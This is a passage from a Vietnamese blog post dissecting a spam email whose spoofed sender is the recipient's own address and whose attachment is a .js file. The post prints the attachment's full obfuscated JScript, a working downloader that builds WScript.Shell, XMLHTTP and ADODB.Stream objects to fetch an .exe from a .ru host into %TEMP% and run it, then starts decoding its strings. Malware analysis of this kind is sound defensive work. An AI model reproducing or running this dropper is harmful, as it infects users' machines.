Internet Is Dangerous: A Weird Email
Trong một ngày đẹp trời (8/3 - Chúc mừng ngày quốc tế phụ nữ !) trong lúc kiểm tra mail trong Thunderbird, mình nhận được một cái email như sau: và thế là câu chuyện bắt đầu... Nhìn vào nội dung email phía trên, ta có thể nhận thấy vài điểm lạ như sau: Email này được mình gửi cho chính ...
Trong một ngày đẹp trời (8/3 - Chúc mừng ngày quốc tế phụ nữ !) trong lúc kiểm tra mail trong Thunderbird, mình nhận được một cái email như sau:
và thế là câu chuyện bắt đầu...
Nhìn vào nội dung email phía trên, ta có thể nhận thấy vài điểm lạ như sau:
- Email này được mình gửi cho chính mình ???. What the ....
- Tiêu đề *nguyen.anh.tien Your Electricity bill -8442$$ dịch nôm na là "hoá đơn tiền điện của bạn đã bị trừ 8442 USD" tương đương 188 triệu đồng (?)
- Nội dung trống trơn
- Có một file đính kèm là : invoice_for_nguyen.anh.tien_8273.js
Đến đây chắc hẳn bạn đã đoán ra được đây là mail spam rồi vì chỉ mình là người Việt, chẳng có lẽ nào nhận được 1 cái hoá đơn tiền điện tiếng Anh mà lại tới cả hơn 188 triệu đồng =)) rõ ràng là quá đỗi hư cấu.
Đến đây thì 99.99% mọi người sẽ bỏ qua mail này. Thế nhưng, giả dụ bạn là người nói tiếng Anh đi, thì việc nhận được mail này cũng có vẻ hợp lý. Thêm nữa, mail này được chính bản thân chúng ta gửi cơ mà ?. Kiểm tra nguồn của mail:
Vâng, địa chỉ From đã được làm giả (và việc này khá dễ) để trông có vẻ như ta tự gửi mail cho mình (ko hiểu sao có flag spam mà mail vẫn lọt được vào inbox (yaoming))
Nhìn vào số tiền 8442 USD thì ai cũng hốt hoảng vào check và khi nội dung mail trắng trơn thì manh mối còn lại duy nhất chính là file đính kèm...
Giải phẫu file đính kèm
Bước đầu
Định dạng .js sẽ khiến bạn nghĩ đến ngay Javascript (lúc đầu mình đã nhầm như vậy), nhưng đó là với hệ điều hành mình đang dùng là Ubuntu. Còn nếu là Windows, nó còn có nghĩa là JScript và điều nguy hiểm hơn nữa là bạn có thể click đôi chuột để thực thi mã JScript có trong đó. Quả là "Sai một li đi một dặm".
Khoan nói về hậu quả nếu vô tình thực thi file này. Ta cùng xem nội dung file này là gì:
url = "open"; rcombinators = "entStr", result = (function String.prototype.noBubble() { return this }, "onm"), elementMatchers = "WSc", isReady = "rip"; overwritten = "crip", propFix = "n", padding = "Scri", cloneNode = ".XM", namespaces = 101, height = 23; var offsetParent = "ADOD", old = "or", duration = "ble", identifier = "p", rbuggyMatches = "oFile", newSelector = "WS"; fadeTo = "ect"; var border = "./1.e", uniqueSort = "saveT", username = 155, setDocument = "Run"; pointerenter = "Cre", td = 3, support = "p://", defaultDisplay = 67, curLeft = "pt.", register = 7; div1 = 72; winnow = "WScrip"; conv2 = 190, allTypes = "seBod", computeStyleTests = "i", current = "on"; var pageX = 40; curOffset = 37; clientTop = "ach"; removeClass = 239; keyCode = 75; msg = "Crea"; var vendorPropName = "leep", realStringObj = "ysta", send = "sc", curPosition = "type", selector = 6; var fnOut = 32, cur = 79; var pageYOffset = 46, keyHooks = "%TEMP%", style = 2, postMap = "e"; var fadeOut = "W", contentType = "writa", display = "S", Sizzle = "positi", trim = "TP", mouseenter = 51; rdashAlpha = "ateO"; mouseHooks = "hnik."; traditional = "Creat"; rsubmitterTypes = "e/.."; condense = 47; success = "/"; compare = "cri"; outermost = "."; prefilterOrFactory = "clos"; activeElement = "g"; bind = 82; ajaxPrefilter = "read", code = "ngs", unshift = "ject"; var els = "G", pipe = 2069, host = "dEnvir", rbracket = "Respon", createFxNow = "te"; var dataAndEvents = 33; var prototype = "eOb", overrideMimeType = "pt", rnotwhite = 1, toggleClass = 260, suffix = "eam", groups = "bje"; hooks = "Expa", compilerCache = "send", rjsonp = "j", diff = "ET", define = 5; wait = "xe", eased = "writ"; var event = 16; nodeNameSelector = "y"; easing = "WScri"; var amd = "Slee", hasScripts = "c"; var funescape = "r", chainable = 64, exports = "ht", delegate = "B.Str", relatedTarget = "t"; checked = "stem/", rrun = "MSXML2", matcherIn = 55, opener = "ru/s", finalText = "Shell", destElements = "LHT"; var wrapAll = 4, off = 0, pseudo = 167; rquery = (((6 & register) + (49 * wrapAll + 9)), ((cur - (225, keyCode, 64)), this)); strAbort = setDocument; defaultPrefilter = rquery[winnow + relatedTarget]; setGlobalEval = defaultPrefilter[traditional + prototype + unshift](newSelector + compare + curLeft + finalText); clientX = setGlobalEval[hooks + propFix + host + result + rcombinators + computeStyleTests + code](keyHooks + success) + contentType + duration + outermost + send + funescape; isBorderBox = rquery[elementMatchers + isReady + relatedTarget][pointerenter + rdashAlpha + groups + hasScripts + relatedTarget](rrun + cloneNode + destElements + trim); isBorderBox[url](els + diff, exports + relatedTarget + support + relatedTarget + old + activeElement + relatedTarget + postMap + mouseHooks + opener + nodeNameSelector + checked + hasScripts + clientTop + rsubmitterTypes + border + wait, !((((((div1, 22, td) + (113 - defaultDisplay)) | (0 ^ off)) ^ ((Math.pow((147, mouseenter, 149, register), (1 * style)) - (47 & matcherIn)) ^ ((227, rnotwhite) | (14 / style)))) - ((((1280 / pageX), (36 + off), (80 ^ conv2), (22 * td + 21)) & (define * 5 * define & (95 ^ fnOut))) - ((97, (curOffset - 36), (bind, 62, namespaces, 162), (rnotwhite & 0)) | ((pseudo - 88) - (Math.pow(pageYOffset, 2) - pipe))))) > 4)); isBorderBox[compilerCache](); while (isBorderBox[ajaxPrefilter + realStringObj + createFxNow] < (Math.pow((rnotwhite + 2), (style | 2)) - (td ^ 6))) { rquery[fadeOut + padding + overrideMimeType][display + vendorPropName](((chainable | 70) ^ (wrapAll * 8 + style))); } divStyle = rquery[easing + overrideMimeType][msg + awidth + rjsonp + fadeTo](offsetParent + delegate + suffix); rquery[fadeOut + display + overwritten + relatedTarget][amd + identifier](((494 - toggleClass), (705000 / condense))); divStyle[url](); dirruns = divStyle; dirruns[curPosition] = 1; cssProps = dirruns; divStyle[eased + postMap](isBorderBox[rbracket + allTypes + nodeNameSelector]); cssProps[Sizzle + current] = ((Math.pow(event, 2) - removeClass) - (6 * style + 5)); divStyle[uniqueSort + rbuggyMatches](clientX, ((dataAndEvents / 33) ^ (selector - 3))); divStyle[prefilterOrFactory + postMap](); rtrim = setGlobalEval; rtrim[strAbort](clientX.noBubble(), ((username, 40, off) | 0), ((rnotwhite * 0) / (height + 18)));
Vâng, know that die, hiểu chết liền (facepalm)
Let's phân tích
Về cơ bản thì JScript là một biến thể của Javascript được Microsoft phát triển dành cho Internet Explorer và hay được biết đến với cái tên Active Script. Không chỉ chạy được trên trình duyệt, Jscript còn có thể chạy độc lập thông qua các trình interpreter cscript.exe hoặc wsscript.exe. Ví dụ như sau:
từ cmd của Windows hoặc click đúp vào file .js. Bạn có thể sử dụng lệnh WScript.echo để debug.
Ta thấy ở đầu file có rất nhiều khai báo biến, chẳng hạn như:
awidth = "teOb"; ... fadeTo = "ect"; ... msg = "Crea"; ... hooks = "Expa", compilerCache = "send", rjsonp = "j", diff = "ET", define = 5;
và sau đó các biến này được sử dụng ở đây:
divStyle = rquery[easing + overrideMimeType][msg + awidth + rjsonp + fadeTo](offsetParent + delegate + suffix);
Nếu ghép các chuỗi trên vào với nhau ta sẽ có:
"Crea" + "teOb" + "j" + "ect" = "CreateObject"
Có vẻ có nghĩa rồi đúng ko